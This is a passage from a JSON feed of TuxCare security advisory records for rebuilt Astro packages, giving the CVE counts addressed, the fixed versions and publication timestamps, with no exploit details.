CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:41:26Z","modified":"2026-10-16T16:31:14.45884769Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161687","title":"TuxCare security update for @astrojs/prism (2 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.","status":"published","published":"2026-10-16T14:41:27Z","modified":"2026-10-16T16:31:14.704308263Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161759","title":"TuxCare security update for @astrojs/studio (1 CVE)","description":"TuxCare rebuilt @astrojs/studio to address 1 CVE. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:42:39Z","modified":"2026-11-10T19:58:19.388461808Z","updated_at":"2026-11-10T20:07:30.871041Z"},{"id":"CLSA-2026-1792161775","title":"TuxCare security update for @astrojs/underscore-redirects (11 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:42:55Z","modified":"2026-10-16T16:31:29.981829057Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161776","title":"TuxCare security update for @astrojs/underscore-redirects (1 CVE)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 1 CVE. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:42:56Z","modified":"2026-11-10T19:58:25.736497143Z","updated_at":"2026-11-10T20:07:20.748062Z"},{"id":"CLSA-2026-1792161777","title":"TuxCare security update for @astrojs/underscore-redirects (13 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:42:57Z","modified":"2026-10-16T16:31:09.691814468Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161778","title":"TuxCare security update for @astrojs/underscore-redirects (2 CVEs)","description":"TuxCare rebuilt @astrojs/underscore-redirects to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.","status":"published","published":"2026-10-16T14:42:58Z","modified":"2026-10-16T16:31:09.684756444Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161847","title":"TuxCare security update for @astrojs/upgrade (1 CVE)","description":"TuxCare rebuilt @astrojs/upgrade to address 1 CVE. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:44:07Z","modified":"2026-11-10T19:45:16.485682082Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792161848","title":"TuxCare security update for @astrojs/upgrade (13 CVEs)","description":"TuxCare rebuilt @astrojs/upgrade to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:44:08Z","modified":"2026-10-16T16:31:17.844824171Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161849","title":"TuxCare security update for @astrojs/upgrade (2 CVEs)","description":"TuxCare rebuilt @astrojs/upgrade to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.","status":"published","published":"2026-10-16T14:44:09Z","modified":"2026-10-16T16:31:15.7060999Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792454046","title":"TuxCare security update for astro (9 CVEs)","description":"TuxCare rebuilt astro to address 9 CVEs. Fixed in 5.18.2-tuxcare.1.","status":"published","published":"2026-10-19T23:54:06Z","modified":"2026-10-20T01:45:16.00100881Z","updated_at":"2026-11-02T15:43:54.378946Z"}]}}
